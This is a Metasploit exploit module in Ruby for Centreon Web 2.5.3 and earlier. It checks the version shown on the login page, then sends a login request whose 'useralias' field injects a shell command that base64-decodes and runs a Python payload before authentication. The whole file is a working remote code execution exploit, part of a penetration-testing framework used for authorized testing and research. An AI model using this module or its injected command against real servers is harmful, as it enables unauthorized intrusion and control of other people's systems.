##
## This module requires Metasploit: http://metasploit.com/download
## Current source: https://github.com/rapid7/metasploit-framework
###
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
include Msf::Exploit::Remote::HttpClient
Rank = ExcellentRanking
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Centreon Web Useralias Command Execution',
'Description' => %q(
Centreon Web Interface <= 2.5.3 utilizes an ECHO for logging SQL
errors. This functionality can be abused for arbitrary code
execution, and can be triggered via the login screen prior to
authentication.
),
'Author' =>
[
'h00die <mike@shorebreaksecurity.com>', # module
'Nicolas CHATELAIN <n.chatelain@sysdream.com>' # discovery
],
'References' =>
[
[ 'EDB', '39501' ]
],
'License' => MSF_LICENSE,
'Platform' => ['python'],
'Privileged' => false,
'Arch' => ARCH_PYTHON,
'Targets' =>
[
[ 'Automatic Target', {}]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Feb 26 2016'
)
)
register_options(
[
Opt::RPORT(80),
OptString.new('TARGETURI', [ true, 'The URI of the Centreon Application', '/centreon/'])
], self.class
)
end
def check
begin
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'index.php'),
'method' => 'GET'
)
/LoginInvitVersion"><br \/>[\s]+(?<version>[\d]{1,2}\.[\d]{1,2}\.[\d]{1,2})[\s]+<\/td>/ =~ res.body
if version && Gem::Version.new(version) <= Gem::Version.new('2.5.3')
vprint_good("Version Detected: #{version}")
Exploit::CheckCode::Appears
else
Exploit::CheckCode::Safe
end
rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
end
end
def exploit
begin
vprint_status('Sending malicious login')
send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'index.php'),
'method' => 'POST',
'vars_post' =>
{
'useralias' => "$(echo #{Rex::Text.encode_base64(payload.encoded)} |base64 -d | python)\\",
'password' => Rex::Text.rand_text_alpha(5)
}
)
rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
end
end
end
